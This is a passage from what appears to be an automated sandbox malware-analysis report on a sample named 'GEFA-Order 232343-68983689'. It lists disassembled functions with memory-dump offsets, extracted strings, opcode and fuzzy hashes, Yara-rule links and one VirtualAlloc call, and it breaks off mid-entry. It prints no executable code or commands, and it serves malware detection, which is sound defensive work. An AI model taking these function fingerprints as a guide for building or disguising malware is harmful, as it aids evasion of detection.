Strings

4'^q, xrefs: 06D70AB2

Memory Dump Source

Source File: 00000000.00000002.1735482960.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d70000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: 5564d5dc728021c3748cb57c5f968ba8a4de1b53f45436d43ec84af24d813b7a
Instruction ID: bba837066702008226c53c9442445b8c7afba2a5527a40919268e6e08a2dd1f3
Opcode Fuzzy Hash: 5564d5dc728021c3748cb57c5f968ba8a4de1b53f45436d43ec84af24d813b7a
Instruction Fuzzy Hash: 28417F30B106148FCB84EB68C894A6EB7BBEFC9700F504529D416AB394DF749D46CBB2

Function 06D70470 Relevance: 1.4, Strings: 1, Instructions: 134COMMON

Download Yara Rule

Strings

4'^q, xrefs: 06D70527

Memory Dump Source

Source File: 00000000.00000002.1735482960.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d70000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: de08a132c2fa424504ee2b8e7b68393e95af11b07dd76c2e5a1fc82e6b5d468c
Instruction ID: 485c0c1e8a701760592ce971cf0ececad06ac4c0a97460999e6b00bc9bd14d6b
Opcode Fuzzy Hash: de08a132c2fa424504ee2b8e7b68393e95af11b07dd76c2e5a1fc82e6b5d468c
Instruction Fuzzy Hash: D8416A757006109FC7489B69C858F6A7BEAAFCC711F1141A9E60A8F3A1DB71EC42CB91

Function 06D92288 Relevance: 1.4, Strings: 1, Instructions: 131COMMON

Download Yara Rule

Strings

TJcq, xrefs: 06D92381

Memory Dump Source

Source File: 00000000.00000002.1735567654.0000000006D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d90000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: TJcq
API String ID: 0-1911830065
Opcode ID: c8650725a88dca9fa1ce30ccecee1b06fd4b0b2104f6e70e8b5cf0e6e02747e6
Instruction ID: 6947ada965d5e3e491e3deec172bf1e5d29128d87a558e254003a14bac2c4eb1
Opcode Fuzzy Hash: c8650725a88dca9fa1ce30ccecee1b06fd4b0b2104f6e70e8b5cf0e6e02747e6
Instruction Fuzzy Hash: 16510874D21208EFDF54DFA9D484AADBBB6FF88300F20816AE815A3350DB345A41DF50

Function 06F410F3 Relevance: 1.4, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

<, xrefs: 06F401F3

Memory Dump Source

Source File: 00000000.00000002.1736084354.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f40000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: <
API String ID: 0-4251816714
Opcode ID: 96d796859758981803db407276b7d6a699e594d373a14a1a1f3dff1bbb02ad44
Instruction ID: 74ef0a15285fa05049971eeb55f426b9239cff448a29dea0ac63386d5b6fff03
Opcode Fuzzy Hash: 96d796859758981803db407276b7d6a699e594d373a14a1a1f3dff1bbb02ad44
Instruction Fuzzy Hash: FF51C374D05268CFEBA0DF59D884BE9BBB1AB49304F0090E6C50EB7650CB754AC5CF65

Function 06D92298 Relevance: 1.4, Strings: 1, Instructions: 117COMMON

Download Yara Rule

Strings

TJcq, xrefs: 06D92381

Memory Dump Source

Source File: 00000000.00000002.1735567654.0000000006D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d90000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: TJcq
API String ID: 0-1911830065
Opcode ID: bc2bd992d2e5fac14753d6bbaca6eb5409e797264f38ed0fcbc19d006605ce98
Instruction ID: 6353b4b0ca68fab15b5dadf597bbcc9bd0e169b1dc8b43940d660cdd513acce7
Opcode Fuzzy Hash: bc2bd992d2e5fac14753d6bbaca6eb5409e797264f38ed0fcbc19d006605ce98
Instruction Fuzzy Hash: 6551B374D21208EFDB54DFA9E488AADBBB6FF88310F10816AE815A7350DB345A45DF50

Function 06D70480 Relevance: 1.4, Strings: 1, Instructions: 109COMMON

Download Yara Rule

Strings

4'^q, xrefs: 06D70527

Memory Dump Source

Source File: 00000000.00000002.1735482960.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d70000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: 93104e49824cade2a49af7c6cf30a6c3f6b50c5293c23f8b174b5a6940eb3dcd
Instruction ID: 3a9dc999bdc213d23dfd00629721f82c6130785ef2d7ee9b0cbe80d4f5d56d18
Opcode Fuzzy Hash: 93104e49824cade2a49af7c6cf30a6c3f6b50c5293c23f8b174b5a6940eb3dcd
Instruction Fuzzy Hash: EC3139717006109FD348DB29C894B2A77EAEFCC715F114568E60A8B3A1DF75EC42CB91

Function 06D7BA8E Relevance: 1.4, Strings: 1, Instructions: 100COMMON

Download Yara Rule

Strings

#, xrefs: 06D7BAD3

Memory Dump Source

Source File: 00000000.00000002.1735482960.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d70000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: ce9a567def4dc8da09fc89e0a193702a2c4a007a65a7e5ca1f1b7751b57422f0
Instruction ID: e7ef4228c1dcbf7041414130b886c5215fccaf6e19540f9c0192f6d1ad7938dd
Opcode Fuzzy Hash: ce9a567def4dc8da09fc89e0a193702a2c4a007a65a7e5ca1f1b7751b57422f0
Instruction Fuzzy Hash: 52417274E05228CFEBA8CF98CC94BEDB7B1AB88301F4485AAD509A7351DA745E84CF51

Function 06D7B4C6 Relevance: 1.3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

, xrefs: 06D7B4F6

Memory Dump Source

Source File: 00000000.00000002.1735482960.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d70000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: eb3c619586da91660d71ad3dff94da8971aa8c3e22139dd424fc808766df4066
Instruction ID: 9922a51ba6e3bba247d1ae25e9e74f29bbf4e3dfce5900dc5b2369a40735d447
Opcode Fuzzy Hash: eb3c619586da91660d71ad3dff94da8971aa8c3e22139dd424fc808766df4066
Instruction Fuzzy Hash: 75419474E05228CFEBA8CF98CC94BEDB7B1AB88301F4485AAD509A7351DB745E84CF51

Function 06D70A67 Relevance: 1.3, Strings: 1, Instructions: 89COMMON

Download Yara Rule

Strings

4'^q, xrefs: 06D70AB2

Memory Dump Source

Source File: 00000000.00000002.1735482960.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d70000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: 2e0713d1b1421065fbbb1128d481bfdd4c1255cc6d05a1b026d64e6091a7d1ed
Instruction ID: 117ce0777dcad87b5df8f68216beb60549bd3f84cb69a66adb1f8fb308ca3dda
Opcode Fuzzy Hash: 2e0713d1b1421065fbbb1128d481bfdd4c1255cc6d05a1b026d64e6091a7d1ed
Instruction Fuzzy Hash: 3A21B970F106145BDB58AB64C85466EBBA7EFC9701F144029D406EB3D4DF749D06CBA2

Function 06D10D7D Relevance: 1.3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

Strings

4'^q, xrefs: 06D11549

Memory Dump Source

Source File: 00000000.00000002.1734499959.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: d9c1ddcd8c036ced92bd838948f5df1f360b64338a49079c859cf89d31e42638
Instruction ID: a8f4b94414ab06afff1f5c3d11cb0dfe585981a2df896cd922f5b23575c9dd26
Opcode Fuzzy Hash: d9c1ddcd8c036ced92bd838948f5df1f360b64338a49079c859cf89d31e42638
Instruction Fuzzy Hash: 23319A30D04349EFEB55DFA9E8086FEBBB1EF89301F10806AD151AB291DB745A85CF91

Function 06F1E68F Relevance: 1.3, Strings: 1, Instructions: 73COMMON

Download Yara Rule

Strings

p<^q, xrefs: 06F1E6DA

Memory Dump Source

Source File: 00000000.00000002.1736016782.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: p<^q
API String ID: 0-1680888324
Opcode ID: c72df0ef711ecc22a28ea1287dbeedeef9ed97ef6aaedf65c1cd0fb963afab0c
Instruction ID: 3290c0ebf6f8ccd6ef55055c8076d8ced4bec3dd5a3bec7f80c66d15571f9898
Opcode Fuzzy Hash: c72df0ef711ecc22a28ea1287dbeedeef9ed97ef6aaedf65c1cd0fb963afab0c
Instruction Fuzzy Hash: F121B0717042489FDB41CF2AC844AAA3BE6BF8E350B5940A2FD54CF2B1D631DC50CB60

Function 06F1E6A0 Relevance: 1.3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

Strings

p<^q, xrefs: 06F1E6DA

Memory Dump Source

Source File: 00000000.00000002.1736016782.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: p<^q
API String ID: 0-1680888324
Opcode ID: 087b8bd5c172cbaacd35bdd67ea7a40e0703801246e541f173470c280795b9be
Instruction ID: 8f543f11e0ca57d783cfdfbdeb19c42372dfa01ddc2310a2a9d8ec4803b7144b
Opcode Fuzzy Hash: 087b8bd5c172cbaacd35bdd67ea7a40e0703801246e541f173470c280795b9be
Instruction Fuzzy Hash: 5F218E317002489FDB41CF2AC844AAA7BEABF8A350B4940A6FD54CF3A1DA31DC50CB60

Function 06F1B7C0 Relevance: 1.3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

Strings

p`^q, xrefs: 06F1B826

Memory Dump Source

Source File: 00000000.00000002.1736016782.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: p`^q
API String ID: 0-26641872
Opcode ID: e11c289c7418f2eec5e3402d7d3be03ab866f8fb4ab05ed8d5d9b9eaa8479a8d
Instruction ID: d4c9ecbbcf0a7486756df1d24aa0d3e1e77a3908d33573ea850cec0f2821fcd5
Opcode Fuzzy Hash: e11c289c7418f2eec5e3402d7d3be03ab866f8fb4ab05ed8d5d9b9eaa8479a8d
Instruction Fuzzy Hash: 8021B335E0421ACFCB50DBA8D8809AEFBB4EF45361B14456AE551AB211D730E945C7A1

Function 06D92A5D Relevance: 1.3, Strings: 1, Instructions: 55COMMON

Download Yara Rule

Strings

", xrefs: 06D92A81

Memory Dump Source

Source File: 00000000.00000002.1735567654.0000000006D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d90000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 2e816321756d64f3c5601b607135b89e4877d74456203b297fcb0fdbd254198c
Instruction ID: 15a85a01ef6fcb5f982cc2dbaa2ae49ba685697a28183a7bf2ed2ccf44be37ac
Opcode Fuzzy Hash: 2e816321756d64f3c5601b607135b89e4877d74456203b297fcb0fdbd254198c
Instruction Fuzzy Hash: A6211A78D11228DFDBA4DF68D844B99BBB0FF0A300F1081D5D999A7251C7748A85CF61

Function 06F5E698 Relevance: 1.3, APIs: 1, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,?,?), ref: 06F5E703

Memory Dump Source

Source File: 00000000.00000002.1736118241.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f50000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f4ee9098826105be5f9302582cbc053bc95dcf518c8be1e6a9c78f4ed9183e5b
Instruction ID: 1281637fc14c68ea4f19b584b9d56f601d5fefb4e6b98f943aee2925e36960fa
Opcode Fuzzy Hash: f4ee9098826105be5f9302582cbc053bc95dcf518c8be1e6a9c78f4ed9183e5b
Instruction Fuzzy Hash: DE1134B59003488FCB10DFAAC845ADFFFF5EB88320F20841AD529A7240CB75A944CFA0

Function 06D7EB96 Relevance: 1.3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

Strings

%, xrefs: 06D7EC6F

Memory Dump Source

Source File: 00000000.00000002.1735482960.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d70000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: %
API String ID: 0-2567322570
Opcode ID: 4267a248fbf2c8f0359d97c8708ba76119a02474b9983ad96223e1bebec01510
Instruction ID: 8261c9bc1952a79cfa0ab6c367e53a33f0ac3e43bfcc1b2af33862e4d5ce4b73
Opcode Fuzzy Hash: 4267a248fbf2c8f0359d97c8708ba76119a02474b9983ad96223e1bebec01510
Instruction Fuzzy Hash: B711E674A01218CFCB94DF28E989AED77B1FF49301F5085AAD509AB254DB345E49CF90

Function 06D7E809 Relevance: 1.3, Strings: 1, Instructions: 39COMMON

Download Yara Rule

Strings

&, xrefs: 06D7E897

Memory Dump Source

Source File: 00000000.00000002.1735482960.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d70000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: &
API String ID: 0-1010288
Opcode ID: 316ebb064c7e334932386e8f1663d7456b5112c95b38fd58450153b7acbe8133
Instruction ID: c0b410526ffd48ac24ac539f6ac3308f69456158edb6dfb511823aff61722fc3
Opcode Fuzzy Hash: 316ebb064c7e334932386e8f1663d7456b5112c95b38fd58450153b7acbe8133
Instruction Fuzzy Hash: 2D11C974A02208CFCB94EFA8E995AAD77F2EF48300F508959D01A9B391EB349D46CF41

Function 071D3D0D Relevance: 1.3, Strings: 1, Instructions: 38COMMON

Download Yara Rule

Strings

*, xrefs: 071D3D59

Memory Dump Source

Source File: 00000000.00000002.1736476977.00000000071D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_71d0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: *
API String ID: 0-163128923
Opcode ID: e9c6e4d9a03f2f436b5d61dfac20d077b15ababce402ae35b15d73e32573c3e7
Instruction ID: 355a06dc007d6efe9e0cece17603666cf49e52e7b1a1dd51fb67cf25760c46f8
Opcode Fuzzy Hash: e9c6e4d9a03f2f436b5d61dfac20d077b15ababce402ae35b15d73e32573c3e7
Instruction Fuzzy Hash: CA115E70A0412ACFCB649F58DC98BE977B1AB85341F0401E9D02A9B6C1EB345E848F52

Function 06F40A1E Relevance: 1.3, Strings: 1, Instructions: 34COMMON

Download Yara Rule

Strings

#, xrefs: 06F41237

Memory Dump Source

Source File: 00000000.00000002.1736084354.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f40000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: bcbfe9552807f32c2a1b350f0f61cbf96970d551931ede7f6257c8da82093743
Instruction ID: cf2c5e548603db354a4683ca10997df6c425db92d3e0d16553f6cdd82a61112c
Opcode Fuzzy Hash: bcbfe9552807f32c2a1b350f0f61cbf96970d551931ede7f6257c8da82093743
Instruction Fuzzy Hash: 68115D74914228CFEB61CF64CC58BDABBB1AB49304F1081D9D50DA3650DB325E81CF50

Function 06D7EBE8 Relevance: 1.3, Strings: 1, Instructions: 29COMMON

Download Yara Rule

Strings

%, xrefs: 06D7EC6F

Memory Dump Source

Source File: 00000000.00000002.1735482960.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d70000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: %
API String ID: 0-2567322570
Opcode ID: a7c5a321cefc6f6c6f59fe71756a526dcde3b31112ee902061a06503add09002
Instruction ID: dcbb70de99eb0dce5dfcd75ea9da8956231c8e391002b7f2ebfb64ce01103d0f
Opcode Fuzzy Hash: a7c5a321cefc6f6c6f59fe71756a526dcde3b31112ee902061a06503add09002
Instruction Fuzzy Hash: 0001F674601214CFCBA4EF28E899BE977F1EB48301F1084AAE40A9B390DA345E45CF80

Function 06D7DD20 Relevance: 1.3, Strings: 1, Instructions: 29COMMON

Download Yara Rule

Strings

#, xrefs: 06D7DDA0

Memory Dump Source

Source File: 00000000.00000002.1735482960.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d70000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: 351e3b8a5345d7d2265fde99a2a9e93b599e877e5bdd41b48a8a384e7b3eaf7f
Instruction ID: fb8dfdaa5a94df012f92f3a079939245820c9d19bf2e28266fb666ecd0d5eaf5
Opcode Fuzzy Hash: 351e3b8a5345d7d2265fde99a2a9e93b599e877e5bdd41b48a8a384e7b3eaf7f
Instruction Fuzzy Hash: 9D013774B02214CFC794EF28ED59BAA77F2EF89200F00C8A594499B345EA74AE40CF81

Function 06F4173B Relevance: 1.3, Strings: 1, Instructions: 28COMMON

Download Yara Rule

Strings

!, xrefs: 06F41799

Memory Dump Source

Source File: 00000000.00000002.1736084354.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f40000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: !
API String ID: 0-2657877971
Opcode ID: 3f344ac351ff85bd42265c6720100adadd751c05368d9b035f5c1d9adbb01ffa
Instruction ID: 52faca74961407184ddafbe00fd554333fb8795ea32be5ccd0c61284ef104d3b
Opcode Fuzzy Hash: 3f344ac351ff85bd42265c6720100adadd751c05368d9b035f5c1d9adbb01ffa
Instruction Fuzzy Hash: 0401B274906218CFEB60DF58D998BA9BBBABB08300F1041D6D648A7680D3389E84CF61

Function 06D93068 Relevance: 1.3, Strings: 1, Instructions: 27COMMON

Download Yara Rule

Strings

x, xrefs: 06D93070

Memory Dump Source

Source File: 00000000.00000002.1735567654.0000000006D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d90000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: x
API String ID: 0-2363233923
Opcode ID: 081268d0b261d84df6f112a536348fd4ded7c54673de4590a321c47cf3f20425
Instruction ID: 871a7f0cebdd93d715b7b00bdbd2aa602a0def7a2e2023fd736d46700686d38c
Opcode Fuzzy Hash: 081268d0b261d84df6f112a536348fd4ded7c54673de4590a321c47cf3f20425
Instruction Fuzzy Hash: E6F0E574D49248AFCB41CFA4C5446ACBBB0EF0A304F14C1DBC82C8B342CB314A06DB41

Function 06F4061C Relevance: 1.3, Strings: 1, Instructions: 25COMMON

Download Yara Rule

Strings

), xrefs: 06F40627

Memory Dump Source

Source File: 00000000.00000002.1736084354.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f40000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: )
API String ID: 0-2427484129
Opcode ID: f794fcaebc1e225d53f79b5531eda8ba31ac7ead43e7e0a5c859b3e1b4c30040
Instruction ID: 0e4bc0b5140c67b688497eb5fed5a1351d72a79104a11e21f4bc8a3cceaec2fe
Opcode Fuzzy Hash: f794fcaebc1e225d53f79b5531eda8ba31ac7ead43e7e0a5c859b3e1b4c30040
Instruction Fuzzy Hash: 7BF05B74A11269DFEBA1DF54DC98B9DBBB1BB09304F00819ADA09A6690DB745A81CF80

Function 06F40602 Relevance: 1.3, Strings: 1, Instructions: 25COMMON

Download Yara Rule

Strings

C, xrefs: 06F4060D

Memory Dump Source

Source File: 00000000.00000002.1736084354.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f40000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: C
API String ID: 0-1037565863
Opcode ID: 107be7ea8e52d2a8667596cf420f8c7db7ef865ccce9a4c24ae7c107c21a3f99
Instruction ID: ec1e2da7bb8974bdcd065cfab9822bb343c840f93927bac2511e72942a678ed3
Opcode Fuzzy Hash: 107be7ea8e52d2a8667596cf420f8c7db7ef865ccce9a4c24ae7c107c21a3f99
Instruction Fuzzy Hash: 79F0AB74D01228CFEBA0CF64DC44B9CBBB1AB08300F00819ADA09A2290CB745A80CF80

Function 06F40636 Relevance: 1.3, Strings: 1, Instructions: 20COMMON

Download Yara Rule

Strings

(, xrefs: 06F40682

Memory Dump Source

Source File: 00000000.00000002.1736084354.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f40000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: (
API String ID: 0-3887548279
Opcode ID: dfc78a637193edc1dc0ff539f2f3dbc8d5c2ac89105905b6833e281e2158458f
Instruction ID: 168b52567fd35da63c656373955da27cbdfb3ed5131676e8fd5fb9124a7b640a
Opcode Fuzzy Hash: dfc78a637193edc1dc0ff539f2f3dbc8d5c2ac89105905b6833e281e2158458f
Instruction Fuzzy Hash: 9EF0303180060ADBDF119F54C854AD9B772FF94300F10C685E65937650DB30ABD5CF80

Function 06F17254 Relevance: 1.3, Strings: 1, Instructions: 20COMMON

Download Yara Rule

Strings

Te^q, xrefs: 06F17283

Memory Dump Source

Source File: 00000000.00000002.1736016782.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: f267d82774b6d66af0bd7fca327495b9846ca7269556c757e7c66d270a814636
Instruction ID: 0fe344db4c136489ade43332a284b417975e35840e1b51f528cf18e08b09a974
Opcode Fuzzy Hash: f267d82774b6d66af0bd7fca327495b9846ca7269556c757e7c66d270a814636
Instruction Fuzzy Hash: 46F09874E012298FDB64DF68D884B9DB7B2FB94300F1081969509B7344DB345E84CF60

Function 06F40895 Relevance: 1.3, Strings: 1, Instructions: 13COMMON

Download Yara Rule

Strings

-, xrefs: 06F408C4

Memory Dump Source

Source File: 00000000.00000002.1736084354.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f40000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: 33c6cb15d51c660a2ac86b714ef868e78cd676d3659ff3be2427a7487e0a1f19
Instruction ID: 08b9a2640d17194fb2f78a0cc0aaecfd8617bb282226a87d644c1393c3828f8a
Opcode Fuzzy Hash: 33c6cb15d51c660a2ac86b714ef868e78cd676d3659ff3be2427a7487e0a1f19
Instruction Fuzzy Hash: 23E0BD79918229CFDB10DF20EA48BD8BBB5AB04304F1080AAC00AA3291C7344A85CF10

Function 06F40BDC Relevance: 1.3, Strings: 1, Instructions: 13COMMON

Download Yara Rule

Strings

., xrefs: 06F40C0E

Memory Dump Source

Source File: 00000000.00000002.1736084354.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f40000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: eadc65ff6a1b89da5f170acc7e7c03647000e80d082a6f41fa31e8aa8a79f483
Instruction ID: ede0d389bca97fb09b593ffe26c3caf0279e2cecc90f44f16fe1122ee86ee79d
Opcode Fuzzy Hash: eadc65ff6a1b89da5f170acc7e7c03647000e80d082a6f41fa31e8aa8a79f483
Instruction Fuzzy Hash: B4E0BD39924228CFDB21DF20D998BD8BBF1AB08304F0081D68809A3290D7384B85CF50

Function 06D70CB8 Relevance: .4, Instructions: 437COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735482960.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d70000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b760fb880c1743035f63ce17fd82446d2d12908ae5825e03a85c27eb6c161885
Instruction ID: cf214faba17cb957d4bcf1ec3a34c6077b108f273eb402ceed47461add730134
Opcode Fuzzy Hash: b760fb880c1743035f63ce17fd82446d2d12908ae5825e03a85c27eb6c161885
Instruction Fuzzy Hash: 5E120874A002188FCB54EF64C894A9DB7B2FF89300F5586A8D54AAB355EF30ED85CF51

Function 06D74CD0 Relevance: .3, Instructions: 267COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735482960.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d70000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65387afadf9a3556e8f16e0d9ec7f9834462dd2ebc9adc4d435e92fd5c71274b
Instruction ID: 4352ac8420f84a7b6b16359b471c4e2a056e1cadd9e8b57152184488aeebe801
Opcode Fuzzy Hash: 65387afadf9a3556e8f16e0d9ec7f9834462dd2ebc9adc4d435e92fd5c71274b
Instruction Fuzzy Hash: 86A1F731A046548FCB66CF28C454A2AFBF2FF85311F59855DE496CB792EB34E841CB42

Function 06D98610 Relevance: .2, Instructions: 249COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735567654.0000000006D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d90000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 491f8b42f4eb10152745b58d4777d478c8b24e673b839a4c9ffd19d12a3cde8f
Instruction ID: 6c38067072cc3e923ef1370ccbe676c4daa922ddf8247af017dd28bee4aa7c6b
Opcode Fuzzy Hash: 491f8b42f4eb10152745b58d4777d478c8b24e673b839a4c9ffd19d12a3cde8f
Instruction Fuzzy Hash: E2B10774E04218CFDF94DFA8D5846ADBBB2FB4A701F20882AD445AB344D7349E46DFA1

Function 06D70CA8 Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735482960.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d70000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8e19464d197e9ffaaa4e27b4efb91508af4423f52c0b30a039a27e6bab90cfc
Instruction ID: d26bb94992d46091c3374ba87c360541546bd97739c7342578d9a034b97aa6a2
Opcode Fuzzy Hash: b8e19464d197e9ffaaa4e27b4efb91508af4423f52c0b30a039a27e6bab90cfc
Instruction Fuzzy Hash: BCA10A74A002188FDB54DF64C894BA9BBB2FF89300F5485A8E54AAB395EF30DD85CF51

Function 06F1E7C3 Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1736016782.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e27612bc007edc1bb64ee1b99b833c7b7100c3cdfa58e91cac9e93ae104feff
Instruction ID: eae36701f9aed963c5b2dbdfc756b8e22780fdfce243fd28edc90991f0f79f8f
